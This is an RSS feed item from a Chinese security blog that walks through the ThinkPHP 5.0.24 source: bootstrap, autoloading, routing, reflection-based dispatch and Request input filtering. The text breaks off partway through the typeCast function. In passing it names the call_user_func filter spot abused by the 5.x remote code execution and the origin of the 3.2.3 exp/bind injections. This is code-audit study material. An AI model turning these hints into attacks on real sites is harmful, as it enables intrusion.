<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>thinkphp &#8211; ChaBug安全</title>
	<atom:link href="/tags/thinkphp/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Wed, 27 Nov 2019 15:28:21 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Thinkphp 源码阅读</title>
		<link>/audit/1102.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 27 Nov 2019 15:28:21 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[thinkphp]]></category>
		<guid isPermaLink="false">/?p=1102</guid>

					<description><![CDATA[看明白thinkphp5框架是怎么实现的 环境 thinkphp5.0.24 "require": { "php": "&#62;=5.4.0", "topthink/framewo...]]></description>
										<content:encoded><![CDATA[<p>看明白<span class="wpcom_tag_link"><a href="/tags/thinkphp" title="thinkphp" target="_blank">thinkphp</a></span>5框架是怎么实现的</p>
<h1>环境</h1>
<p>thinkphp5.0.24</p>
<pre><code class="language-php ">"require": {
    "php": "&gt;=5.4.0",
    "topthink/framework": "5.0.*"
},
</code></pre>
<h1>目录结构</h1>
<pre><code class="">thinkphp/                     根目录
    /application              应用目录 
        /index                应用index模块目录 
    command.php               命令行命令配置目录
    config.php                应用配置文件
    databse.php               应用数据库配置文件
    route.php                 应用路由配置文件

    /public                   入口目录
        /static               静态资源目录
        .htacess              apache服务器配置
        index.php             默认入口文件
        robots.txt            爬虫协议文件
        router.php            php命令行服务器入口文件

    /vendor                   composer安装目录  
    build.php                 默认自动生成配置文件
    composer.json             composer安装配置文件
    console                   控制台入口文件

/vendor/topthink/framework    框架核心目录
        /extend               框架扩展目录
        /lang                 框架语言目录
        /library              框架核心目录
        /mode                 框架模式目录
        /tests                框架测试目录
        /tpl                  框架模板目录
        /vendor               第三方目录
        base.php              全局常量文件
        convention.php        全局配置文件
        helper.php            辅助函数文件
        start.php             框架引导入口
        think.php             框架引导文件
</code></pre>
<h1>框架引导start.php</h1>
<p>thinkphp为单程序入口，这是mvc框架的特征，程序的入口在public目录下的index.php</p>
<pre><code class="language-php ">// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';
</code></pre>
<p><code>require</code>引入thinkphp的<code>start.php</code></p>
<pre><code class="language-php ">// ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php';

// 2. 执行应用
App::run()-&gt;send();
</code></pre>
<p>在<code>base.php(thinkphp/base.php)</code>中定义了一些常量，比如<code>ROOT_PATH</code>、<code>RUNTIME_PATH</code>、<code>LOG_PATH</code>等等，然后引入<code>Loader</code>类来自动加载</p>
<pre><code class="language-php ">thinkphp/base.php:37
// 载入Loader类
require CORE_PATH . 'Loader.php';
</code></pre>
<p>然后在下面通过<code>.env</code>文件putenv环境变量，最后</p>
<pre><code class="language-php ">// 注册自动加载
thinkLoader::register();

// 注册错误和异常处理机制
thinkError::register();

// 加载惯例配置文件
thinkConfig::set(include THINK_PATH . 'convention' . EXT);
</code></pre>
<p>在<code>thinkLoader::register()</code>中，使用<code>thinkLoader::autoload</code>注册自动加载</p>
<pre><code class="language-php ">spl_autoload_register($autoload ?: 'think\Loader::autoload', true, true);
</code></pre>
<blockquote><p>
  当PHP引擎遇到试图实例化未知类的操作时，会调用<code>__autoload()</code>方法，并将类名当做字符串参数传递给它。<code>spl_autoload_register</code>会将多个<code>autoload</code>函数以数列的形式依次调用注册。
</p></blockquote>
<p><code>autoload()</code>的定义，通过名字来引入类</p>
<pre><code class="language-php ">public static function autoload($class)
{
    // 检测命名空间别名
    if (!empty(self::$namespaceAlias)) {
        $namespace = dirname($class);
        if (isset(self::$namespaceAlias[$namespace])) {
            $original = self::$namespaceAlias[$namespace] . '\' . basename($class);
            if (class_exists($original)) {
                return class_alias($original, $class, false);
            }
        }
    }

    if ($file = self::findFile($class)) {
        // 非 Win 环境不严格区分大小写
        if (!IS_WIN || pathinfo($file, PATHINFO_FILENAME) == pathinfo(realpath($file), PATHINFO_FILENAME)) {
            __include_file($file);
            return true;
        }
    }

    return false;
}
</code></pre>
<p>注册命名空间定义</p>
<pre><code class="language-php ">self::addNamespace([
    'think'    =&gt; LIB_PATH . 'think' . DS,
    'behavior' =&gt; LIB_PATH . 'behavior' . DS,
    'traits'   =&gt; LIB_PATH . 'traits' . DS,
]);
</code></pre>
<p>加载类库映射文件</p>
<pre><code class="language-php ">if (is_file(RUNTIME_PATH . 'classmap' . EXT)) {
    self::addClassMap(__include_file(RUNTIME_PATH . 'classmap' . EXT));
}
</code></pre>
<p>注册错误和异常处理机制<code>thinkError::register()</code></p>
<pre><code class="language-php ">public static function register()
{
    error_reporting(E_ALL);
    set_error_handler([__CLASS__, 'appError']);
    set_exception_handler([__CLASS__, 'appException']);
    register_shutdown_function([__CLASS__, 'appShutdown']);
}
</code></pre>
<p>将错误、异常、中止时分别交由<code>appError</code>、<code>appException</code>、<code>appShutdown</code> 处理，这三个函数在<code>thinkphp/library/think/Error.php</code> 定义。</p>
<p>接着是加载惯例配置文件</p>
<pre><code class="language-php ">thinkConfig::set(include THINK_PATH . 'convention' . EXT);
</code></pre>
<p>也就是包含<code>thinkphp/convention.php</code>这个配置文件，将配置作为数组变量传入<code>thinkphp/library/think/Config.php:160</code></p>
<p><img src="https://y4er.com/img/uploads/20191127227573.jpg" alt="image" /><br />
可以通过字符串、数组的形式赋值。配置完之后返回 <code>thinkphp/start.php:19</code> 启动程序</p>
<pre><code class="language-php ">// 2. 执行应用
App::run()-&gt;send();
</code></pre>
<h2>小结</h2>
<p>thinkphp通过<code>start.php</code>引入的<code>base.php</code>定义文件夹等系统常量，然后引入<code>Loader</code>来加载任意类，通过自动加载使用<code>Error</code>类注册错误处理，以及<code>Config</code>类加载模式配置文件<code>thinkphp/convention.php</code>。做好一系列准备工作之后，执行应用 <code>App::run()-&gt;send()</code></p>
<h1>应用启动App::run()</h1>
<p>在上文加载完配置等一系列工作之后，进入<code>App::run()</code>，在<code>run()</code>方法中<br />
首先拿到<code>Request</code>的一个实例，然后调用<code>$config = self::initCommon()</code>初始化公共配置</p>
<pre><code class="language-php ">public static function initCommon()
{
    if (empty(self::$init)) {
        if (defined('APP_NAMESPACE')) {
            self::$namespace = APP_NAMESPACE;
        }

        Loader::addNamespace(self::$namespace, APP_PATH);

        // 初始化应用
        $config = self::init();
        self::$suffix = $config['class_suffix'];

        // 应用调试模式
        self::$debug = Env::get('app_debug', Config::get('app_debug'));

        if (!self::$debug) {
            ini_set('display_errors', 'Off');
        } elseif (!IS_CLI) {
            // 重新申请一块比较大的 buffer
            if (ob_get_level() &gt; 0) {
                $output = ob_get_clean();
            }

            ob_start();

            if (!empty($output)) {
                echo $output;
            }

        }

        if (!empty($config['root_namespace'])) {
            Loader::addNamespace($config['root_namespace']);
        }

        // 加载额外文件
        if (!empty($config['extra_file_list'])) {
            foreach ($config['extra_file_list'] as $file) {
                $file = strpos($file, '.') ? $file : APP_PATH . $file . EXT;
                if (is_file($file) &amp;&amp; !isset(self::$file[$file])) {
                    include $file;
                    self::$file[$file] = true;
                }
            }
        }

        // 设置系统时区
        date_default_timezone_set($config['default_timezone']);

        // 监听 app_init
        Hook::listen('app_init');

        self::$init = true;
    }

    return Config::get();
}
</code></pre>
<p>先<code>Loader::addNamespace(self::$namespace, APP_PATH)</code>添加app所在的命名空间，然后初始化应用<code>$config = self::init()</code>，然后根据<code>self::$debug</code>决定是否将debug信息写入缓冲区，然后根据<code>$config['extra_file_list']</code>的配置来加载额外的配置文件，然后设置时区，<code>hook</code>回调<code>app_init</code>，最后无参数调用<code>Config::get()</code>返回所有全局配置</p>
<pre><code class="language-php ">//thinkphp/library/think/Config.php:120
// 无参数时获取所有
if (empty($name) &amp;&amp; isset(self::$config[$range])) {
    return self::$config[$range];
}
</code></pre>
<p>初始化应用<code>self::init()</code>的时候</p>
<pre><code class="language-php ">private static function init($module = '')
{
    // 定位模块目录
    $module = $module ? $module . DS : '';

    // 加载初始化文件
    if (is_file(APP_PATH . $module . 'init' . EXT)) {
        include APP_PATH . $module . 'init' . EXT;
    } elseif (is_file(RUNTIME_PATH . $module . 'init' . EXT)) {
        include RUNTIME_PATH . $module . 'init' . EXT;
    } else {
        // 加载模块配置
        $config = Config::load(CONF_PATH . $module . 'config' . CONF_EXT);

        // 读取数据库配置文件
        $filename = CONF_PATH . $module . 'database' . CONF_EXT;
        Config::load($filename, 'database');

        // 读取扩展配置文件
        if (is_dir(CONF_PATH . $module . 'extra')) {
            $dir = CONF_PATH . $module . 'extra';
            $files = scandir($dir);
            foreach ($files as $file) {
                if ('.' . pathinfo($file, PATHINFO_EXTENSION) === CONF_EXT) {
                    $filename = $dir . DS . $file;
                    Config::load($filename, pathinfo($file, PATHINFO_FILENAME));
                }
            }
        }

        // 加载应用状态配置
        if ($config['app_status']) {
            Config::load(CONF_PATH . $module . $config['app_status'] . CONF_EXT);
        }

        // 加载行为扩展文件
        if (is_file(CONF_PATH . $module . 'tags' . EXT)) {
            Hook::import(include CONF_PATH . $module . 'tags' . EXT);
        }

        // 加载公共文件
        $path = APP_PATH . $module;
        if (is_file($path . 'common' . EXT)) {
            include $path . 'common' . EXT;
        }

        // 加载当前模块语言包
        if ($module) {
            Lang::load($path . 'lang' . DS . Request::instance()-&gt;langset() . EXT);
        }
    }

    return Config::get();
}
</code></pre>
<p>根据传入的<code>$module</code>判断是模块还是整个应用需要初始化，如果是模块就包含<code>APP_PATH . $module . 'init' . EXT</code>，也就是<code>/application/init.php</code>，如果没传<code>module</code>就包含<code>application/config.php</code>，然后就是加载一些配置文件和语言包。</p>
<p>其实<code>self::initCommon()</code>就是为了拿到全局的配置参数，继续看<code>run</code>方法。<br />
在拿到全局配置<code>$config = self::initCommon();</code>之后，然后根据<code>auto_bind_module</code>和<code>BIND_MODULE</code>两个常量来决定是否需要自动绑定模块，绑定完之后进行了</p>
<pre><code class="language-php ">$request-&gt;filter($config['default_filter'])
</code></pre>
<p>设置当前的过滤规则，然后加载语言，监听<code>app_dispatch</code>应用调度，获取应用调度信息，如果应用调度信息<code>$dispatch</code>为空，则进行<code>路由check</code> <code>$dispatch = self::routeCheck($request, $config)</code>，路由check太多了，我拿出来写，然后记录当前调度信息<code>$request-&gt;dispatch($dispatch)</code>，根据debug写日志，最后检查缓存之后执行了<code>exec</code>函数拿到<code>$data</code>作为<code>response</code>的值，返回<code>response</code>，而<code>exec()</code>才是真正的应用调度函数，会根据<code>$dispatch</code>的值来进入不同的调度模式，也单独拿出来说，至此App.php中就走完了，然后经过<code>thinkphp/start.php</code>的<code>send()</code>发送到客户端。</p>
<h2>小结</h2>
<p><code>App::run()</code>是thinkphp程序的主要核心，在其中进行了初始化应用配置&#8211;>模块/控制器绑定&#8211;>加载语言包&#8211;>路由检查&#8211;>DEBUG记录&#8211;>exec()应用调度&#8211;>输出客户端，简单画了一个流程图<br />
<img src="/wp-content/uploads/2019/11/20191127226243.jpg" alt="image" /></p>
<h1>路由检查self::routeCheck()</h1>
<p>上文中我们说过，在未设置调度信息会进行URL路由检测</p>
<pre><code class="language-php ">if (empty($dispatch)) {
    $dispatch = self::routeCheck($request, $config);
}
</code></pre>
<p>跟进看下定义</p>
<pre><code class="language-php ">public static function routeCheck($request, array $config)
{
    $path = $request-&gt;path();
    $depr = $config['pathinfo_depr'];
    $result = false;

    // 路由检测
    $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
    if ($check) {
        // 开启路由
        if (is_file(RUNTIME_PATH . 'route.php')) {
            // 读取路由缓存
            $rules = include RUNTIME_PATH . 'route.php';
            is_array($rules) &amp;&amp; Route::rules($rules);
        } else {
            $files = $config['route_config_file'];
            foreach ($files as $file) {
                if (is_file(CONF_PATH . $file . CONF_EXT)) {
                    // 导入路由配置
                    $rules = include CONF_PATH . $file . CONF_EXT;
                    is_array($rules) &amp;&amp; Route::import($rules);
                }
            }
        }

        // 路由检测（根据路由定义返回不同的URL调度）
        $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
        $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

        if ($must &amp;&amp; false === $result) {
            // 路由无效
            throw new RouteNotFoundException();
        }
    }

    // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
    if (false === $result) {
        $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
    }

    return $result;
}
</code></pre>
<p>首先<code>$path</code>是<code>request</code>实例拿到的<code>uri</code>路径，注意是从<code>public</code>目录开始的uri路径，<code>$depr</code>是config.php中定义的<code>pathinfo</code>分隔符，然后进入if语句块，如果有路由缓存会读路由缓存，没有的话会读<code>/application/route.php</code>导入路由，经过<code>Route::check()</code>后，会拿<code>$config['url_route_must']</code>来判断是否是强路由</p>
<pre><code class="language-php ">// 是否强制使用路由
'url_route_must'         =&gt; false,
</code></pre>
<p>如果是强路由会抛出<code>throw new RouteNotFoundException()</code> 异常，如果没有开启强路由会进入<code>Route::parseUrl($path, $depr, $config['controller_auto_search'])</code>自动解析<code>模块/控制器/操作/参数</code></p>
<p>先跟进到<code>Route::check()</code>康康</p>
<pre><code class="language-php ">public static function check($request, $url, $depr = '/', $checkDomain = false)
{
    //检查解析缓存
    if (!App::$debug &amp;&amp; Config::get('route_check_cache')) {
        $key = self::getCheckCacheKey($request);
        if (Cache::has($key)) {
            list($rule, $route, $pathinfo, $option, $matches) = Cache::get($key);
            return self::parseRule($rule, $route, $pathinfo, $option, $matches, true);
        }
    }

    // 分隔符替换 确保路由定义使用统一的分隔符
    $url = str_replace($depr, '|', $url);

    if (isset(self::$rules['alias'][$url]) || isset(self::$rules['alias'][strstr($url, '|', true)])) {
        // 检测路由别名
        $result = self::checkRouteAlias($request, $url, $depr);
        if (false !== $result) {
            return $result;
        }
    }
    $method = strtolower($request-&gt;method());
    // 获取当前请求类型的路由规则
    $rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
    // 检测域名部署
    if ($checkDomain) {
        self::checkDomain($request, $rules, $method);
    }
    // 检测URL绑定
    $return = self::checkUrlBind($url, $rules, $depr);
    if (false !== $return) {
        return $return;
    }
    if ('|' != $url) {
        $url = rtrim($url, '|');
    }
    $item = str_replace('|', '/', $url);
    if (isset($rules[$item])) {
        // 静态路由规则检测
        $rule = $rules[$item];
        if (true === $rule) {
            $rule = self::getRouteExpress($item);
        }
        if (!empty($rule['route']) &amp;&amp; self::checkOption($rule['option'], $request)) {
            self::setOption($rule['option']);
            return self::parseRule($item, $rule['route'], $url, $rule['option']);
        }
    }

    // 路由规则检测
    if (!empty($rules)) {
        return self::checkRoute($request, $rules, $url, $depr);
    }
    return false;
}
</code></pre>
<p>首先检查路由缓存，默认config.php中是不开启路由缓存的，然后检测路由别名</p>
<pre><code class="language-php ">private static $rules = [
    'get'     =&gt; [],
    'post'    =&gt; [],
    'put'     =&gt; [],
    'delete'  =&gt; [],
    'patch'   =&gt; [],
    'head'    =&gt; [],
    'options' =&gt; [],
    '*'       =&gt; [],
    'alias'   =&gt; [],
    'domain'  =&gt; [],
    'pattern' =&gt; [],
    'name'    =&gt; [],
];
</code></pre>
<p>如果路由存在别名会进入<code>checkRouteAlias()</code>，在这个函数内会直接进入到路由对应的模块/控制器/操作。如果不存在别名会继续检查，然后是获取当前请求类型的路由规则->检测域名部署<code>checkDomain()</code>->检测URL绑定<code>checkUrlBind()</code>，然后会判断是否是静态路由，如果是会返回<code>parseRule()</code>，不然返回<code>self::checkRoute($request, $rules, $url, $depr)</code>。</p>
<p>在这里我要提一手thinkphp的<a href="https://www.kancloud.cn/manual/thinkphp5/118037">多种路由定义</a></p>
<table>
<thead>
<tr>
<th>定义方式</th>
<th>定义格式</th>
</tr>
</thead>
<tbody>
<tr>
<td>方式1：路由到模块/控制器</td>
<td>&#8216;[模块/控制器/操作]?额外参数1=值1&amp;额外参数2=值2&#8230;&#8217;</td>
</tr>
<tr>
<td>方式2：路由到重定向地址</td>
<td>&#8216;外部地址&#8217;（默认301重定向） 或者 [&#8216;外部地址&#8217;,&#8217;重定向代码&#8217;]</td>
</tr>
<tr>
<td>方式3：路由到控制器的方法</td>
<td>&#8216;@[模块/控制器/]操作&#8217;</td>
</tr>
<tr>
<td>方式4：路由到类的方法</td>
<td>&#8216;完整的命名空间类::静态方法&#8217; 或者 &#8216;完整的命名空间类@动态方法&#8217;</td>
</tr>
<tr>
<td>方式5：路由到闭包函数</td>
<td>闭包函数定义（支持参数传入）</td>
</tr>
</tbody>
</table>
<p>因为多种路由模式的支持，所以程序的流程也不尽相同，我这里只分析第一种<code>模块/控制器/操作</code>的形式。再看<code>App::routeCheck()</code>，如果不是route.php定义的路由并且没有开启强路由会开始自动搜索控制器</p>
<pre><code class="language-php ">// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
    $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
</code></pre>
<p>最终程序会进入<code>parseUrl()</code>来解析url，在<code>parseUrl()</code>中会解析url参数<code>parseUrlParams()</code>，这两个函数就不分析了，就是单纯的分割参数存储数组，最后会return一个<code>['type' =&gt; 'module', 'module' =&gt; $route]</code><br />
说的不是很明白，我这边直接访问</p>
<pre><code class="">http://php.local/public/index.php?s=index/index/index/id/1
</code></pre>
<p>那么可以看到parseUrl()返回的就是一个数组，数组中存放着模块控制器/操作<br />
<img src="/wp-content/uploads/2019/11/20191127226106.jpg" alt="image" /><br />
那么<code>routeCheck()</code>返回的<code>$result</code>会作为<code>thinkphp/library/think/App.php:116</code>的<code>$dispatch</code>的值，进入到<code>exec()</code>的应用调度中。</p>
<h2>小结</h2>
<p>又臭又长的文字不如一张图<br />
<img src="/wp-content/uploads/2019/11/20191127221167.jpg" alt="image" /></p>
<h1>应用调度App::exec()</h1>
<p>我们上文提到了<code>routeCheck()</code>返回的<code>$dispatch</code>会进入到<code>exec()</code>函数中</p>
<pre><code class="language-php ">protected static function exec($dispatch, $config)
{
    switch ($dispatch['type']) {
        case 'redirect': // 重定向跳转
            $data = Response::create($dispatch['url'], 'redirect')
                -&gt;code($dispatch['status']);
            break;
        case 'module': // 模块/控制器/操作
            $data = self::module(
                $dispatch['module'],
                $config,
                isset($dispatch['convert']) ? $dispatch['convert'] : null
            );
            break;
        case 'controller': // 执行控制器操作
            $vars = array_merge(Request::instance()-&gt;param(), $dispatch['var']);
            $data = Loader::action(
                $dispatch['controller'],
                $vars,
                $config['url_controller_layer'],
                $config['controller_suffix']
            );
            break;
        case 'method': // 回调方法
            $vars = array_merge(Request::instance()-&gt;param(), $dispatch['var']);
            $data = self::invokeMethod($dispatch['method'], $vars);
            break;
        case 'function': // 闭包
            $data = self::invokeFunction($dispatch['function']);
            break;
        case 'response': // Response 实例
            $data = $dispatch['response'];
            break;
        default:
            throw new InvalidArgumentException('dispatch type not support');
    }

    return $data;
}
</code></pre>
<p>在这个方法中会根据不同的<code>$dispatch['type']</code>调度类型来进行区别处理，其中除了<code>redirect</code>和<code>response</code>之外的case语句块都会调用App内的静态方法通过反射实现调用模块/控制器/操作</p>
<pre><code class="">module调度类型的self::module() -&gt; self::invokeMethod()
controller调度类型的Loader::action() -&gt; 进入App::invokeMethod()
method调度类型的self::invokeMethod()
function调度类型的self::invokeFunction()
</code></pre>
<p>看定义<code>invokeMethod()</code></p>
<pre><code class="language-php ">public static function invokeMethod($method, $vars = [])
{
    if (is_array($method)) {
        $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
        $reflect = new ReflectionMethod($class, $method[1]);
    } else {
        // 静态方法
        $reflect = new ReflectionMethod($method);
    }

    $args = self::bindParams($reflect, $vars);

    self::$debug &amp;&amp; Log::record('[ RUN ] ' . $reflect-&gt;class . '-&gt;' . $reflect-&gt;name . '[ ' . $reflect-&gt;getFileName() . ' ]', 'info');

    return $reflect-&gt;invokeArgs(isset($class) ? $class : null, $args);
}
</code></pre>
<p>在<code>invokeMethod()</code>中，创建反射方法<code>$reflect = new ReflectionMethod($class, $method[1]);</code>，获取反射函数<code>$args = self::bindParams($reflect, $vars);</code>，接着记录日志后调用<code>$reflect-&gt;invokeArgs(isset($class) ? $class : null, $args);</code>反射调用<code>模块/控制器/操作</code>中的<code>操作</code>。</p>
<p>为了方便解释我在index控制器创建了<code>hello</code>方法</p>
<pre><code class="language-php ">public function hello($name)
{
    return 'hello' . $name;
}
</code></pre>
<p>然后访问</p>
<pre><code class="language-php ">http://php.local/public/index.php?s=index/index/hello/name/aaa
</code></pre>
<p>此时模块调度进入<code>module</code>的case语句</p>
<pre><code class="language-php ">case 'module': // 模块/控制器/操作
    $data = self::module(
        $dispatch['module'],
        $config,
        isset($dispatch['convert']) ? $dispatch['convert'] : null
    );
    break;
</code></pre>
<p>在<code>module</code>方法中<br />
<img src="/wp-content/uploads/2019/11/20191127220682.jpg" alt="image" /><br />
最后return的是就是我们的<code>hello</code>方法，但是此时的参数是空的，而我们传入有<code>name=aaa</code>参数，那么这个参数在哪赋值的呢？跟进反射看看<br />
<img src="/wp-content/uploads/2019/11/20191127226672.jpg" alt="image" /><br />
在339行，<code>$args = self::bindParams($reflect, $vars)</code>作为<code>invokeArgs()</code>的反射参数</p>
<pre><code class="language-php ">private static function bindParams($reflect, $vars = [])
{
    // 自动获取请求变量
    if (empty($vars)) {
        $vars = Config::get('url_param_type') ?
            Request::instance()-&gt;route() :
        Request::instance()-&gt;param();
    }

    $args = [];
    if ($reflect-&gt;getNumberOfParameters() &gt; 0) {
        // 判断数组类型 数字数组时按顺序绑定参数
        reset($vars);
        $type = key($vars) === 0 ? 1 : 0;

        foreach ($reflect-&gt;getParameters() as $param) {
            $args[] = self::getParamValue($param, $vars, $type);
        }
    }

    return $args;
}
</code></pre>
<p><code>args</code>会从<code>Request::instance()-&gt;route()</code>或者<code>Request::instance()-&gt;param();</code>获取，也就是request中获取。这样就实现了从url中达到动态调用<code>模块/控制器/操作</code>的目的。</p>
<h2>小结</h2>
<p>应用调度就是这样完成他的使命，一个switch语句判断<code>$dispatch['type']</code>，然后进入不同的处理，如果实现业务逻辑则会通过反射类调用相应的<code>模块/控制器/操作</code>函数，拿到操作返回的数据之后整个exec()函数就结束了。最终继续执行App::run()方法返回response对象，进入send()方法返回给客户端，整个流程结束。</p>
<h1>请求处理Request类</h1>
<p>请求类处于<code>thinkphp/library/think/Request.php</code>，众所周知的是thinkphp有<a href="https://www.kancloud.cn/manual/thinkphp5/144731">助手函数input()</a>来获取请求参数，本节说一下thinkphp中具体怎么实现的。</p>
<p>我们先来给一个控制器来做演示</p>
<pre><code class="language-php ">public function hello($name)
{
    if(input('?name')){
        var_dump(input('?name'));
        return input('name');
    }else{
        return '没有设置name参数!';
    }
}
</code></pre>
<p>助手函数input()可以这么写：</p>
<pre><code class="language-php ">input('param.name');
input('param.');
或者
input('name');
input('');
</code></pre>
<p>判断有没有传递某个参数可以用</p>
<pre><code class="language-php ">input('?get.id');
input('?post.name');
</code></pre>
<p>我们打断点跟进下，进入到<code>thinkphp/helper.php:121</code></p>
<pre><code class="language-php ">function input($key = '', $default = null, $filter = '')
{
    if (0 === strpos($key, '?')) {
        $key = substr($key, 1);
        $has = true;
    }
    if ($pos = strpos($key, '.')) {
        // 指定参数来源
        list($method, $key) = explode('.', $key, 2);
        if (!in_array($method, ['get', 'post', 'put', 'patch', 'delete', 'route', 'param', 'request', 'session', 'cookie', 'server', 'env', 'path', 'file'])) {
            $key    = $method . '.' . $key;
            $method = 'param';
        }
    } else {
        // 默认为自动判断
        $method = 'param';
    }
    if (isset($has)) {
        return request()-&gt;has($key, $method, $default);
    } else {
        return request()-&gt;$method($key, $default, $filter);
    }
}
</code></pre>
<p>第一个if是为了来判断是否传递某个参数</p>
<pre><code class="language-php ">input('?get.id');
input('?post.name');
</code></pre>
<p>这种写法，会进入<code>request()-&gt;has($key, $method, $default)</code>，<code>request()</code>方法会返回一个<code>request</code>类的实例</p>
<pre><code class="language-php ">function request()
{
    return Request::instance();
}
</code></pre>
<p><code>has()</code>方法会返回一个布尔值来决定是否传递了这个参数</p>
<pre><code class="language-php ">public function has($name, $type = 'param', $checkEmpty = false)
{
    if (empty($this-&gt;$type)) {
        $param = $this-&gt;$type();
    } else {
        $param = $this-&gt;$type;
    }
    // 按.拆分成多维数组进行判断
    foreach (explode('.', $name) as $val) {
        if (isset($param[$val])) {
            $param = $param[$val];
        } else {
            return false;
        }
    }
    return ($checkEmpty &amp;&amp; '' === $param) ? false : true;
}
</code></pre>
<p><img src="/wp-content/uploads/2019/11/20191127229511.jpg" alt="image" /><br />
此时访问</p>
<pre><code class="">http://php.local/public/index.php?s=index/index/hello/name/aaa
</code></pre>
<p>页面则会返回<br />
<img src="/wp-content/uploads/2019/11/20191127227535.jpg" alt="image" /><br />
到此只是判断某个参数是否存在，是<code>input('?name')</code>这种语法，我们继续跟进<code>input('name')</code>这种语法，他会进入</p>
<pre><code class="language-php ">return request()-&gt;$method($key, $default, $filter);
</code></pre>
<p>当没有包含<code>?</code>或<code>.</code>时，</p>
<pre><code class="">input('?name')
input('?get.name')
</code></pre>
<p>会进入<code>request()-&gt;$method($key, $default, $filter)</code>，此时会进入的就是request类中的<code>param()</code>方法，跟进</p>
<pre><code class="language-php ">public function param($name = '', $default = null, $filter = '')
{
    if (empty($this-&gt;mergeParam)) {
        $method = $this-&gt;method(true);
        // 自动获取请求变量
        switch ($method) {
            case 'POST':
                $vars = $this-&gt;post(false);
                break;
            case 'PUT':
            case 'DELETE':
            case 'PATCH':
                $vars = $this-&gt;put(false);
                break;
            default:
                $vars = [];
        }
        // 当前请求参数和URL地址中的参数合并
        $this-&gt;param = array_merge($this-&gt;param, $this-&gt;get(false), $vars, $this-&gt;route(false));
        $this-&gt;mergeParam = true;
    }
    if (true === $name) {
        // 获取包含文件上传信息的数组
        $file = $this-&gt;file();
        $data = is_array($file) ? array_merge($this-&gt;param, $file) : $this-&gt;param;
        return $this-&gt;input($data, '', $default, $filter);
    }
    return $this-&gt;input($this-&gt;param, $name, $default, $filter);
}
</code></pre>
<p><code>param()</code>方法会将原生<code>$_GET</code>、<code>$_POST</code>等全局数组的参数合并到<code>$this-&gt;param</code>，然后进入<code>$this-&gt;input()</code></p>
<pre><code class="language-php ">public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
        // 获取原始数据
        return $data;
    }
    $name = (string)$name;
    if ('' != $name) {
        // 解析name
        if (strpos($name, '/')) {
            list($name, $type) = explode('/', $name);
        } else {
            $type = 's';
        }
        // 按.拆分成多维数组进行判断
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                // 无输入数据，返回默认值
                return $default;
            }
        }
        if (is_object($data)) {
            return $data;
        }
    }

    // 解析过滤器
    $filter = $this-&gt;getFilter($filter, $default);

    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    } else {
        $this-&gt;filterValue($data, $name, $filter);
    }

    if (isset($type) &amp;&amp; $data !== $default) {
        // 强制类型转换
        $this-&gt;typeCast($data, $type);
    }
    return $data;
}
</code></pre>
<p>可以看出来<code>input()</code>是用来接收参数，并且经过了一层<code>filterValue()</code>过滤和<code>$this-&gt;typeCast($data, $type)</code>强制类型转换</p>
<pre><code class="language-php ">private function filterValue(&amp;$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        } elseif (is_scalar($value)) {
            if (false !== strpos($filter, '/')) {
                // 正则过滤
                if (!preg_match($filter, $value)) {
                    // 匹配不成功返回默认值
                    $value = $default;
                    break;
                }
            } elseif (!empty($filter)) {
                // filter函数不存在时, 则使用filter_var进行过滤
                // filter为非整形值时, 调用filter_id取得过滤id
                $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                if (false === $value) {
                    $value = $default;
                    break;
                }
            }
        }
    }
    return $this-&gt;filterExp($value);
}
</code></pre>
<p><code>filterValue()</code>会使用<code>$fileter</code>通过call_user_func来回调过滤，thinkphp5.x的rce就是覆盖此处的<code>$filter</code>为system()来执行命令，最后会<code>$filterExp</code>过滤关键字符</p>
<pre><code class="language-php ">public function filterExp(&amp;$value)
{
    // 过滤查询特殊字符
    if (is_string($value) &amp;&amp; preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOT EXISTS|NOTEXISTS|EXISTS|NOT NULL|NOTNULL|NULL|BETWEEN TIME|NOT BETWEEN TIME|NOTBETWEEN TIME|NOTIN|NOT IN|IN)$/i', $value)) {
        $value .= ' ';
    }
    // TODO 其他安全过滤
}
</code></pre>
<p>thinkphp3.2.3的<code>exp</code>和<code>bind</code>注入就出自此处。再来看上文的强制类型转换<code>$this-&gt;typeCast($data, $type)</code></p>
<pre><code class="language-php ">private function typeCast(&amp;$data, $type)
{
    switch (strtolower($type)) {
            // 数组
        case 'a':
            $data = (array)$data;
            break;
            // 数字
        case 'd':
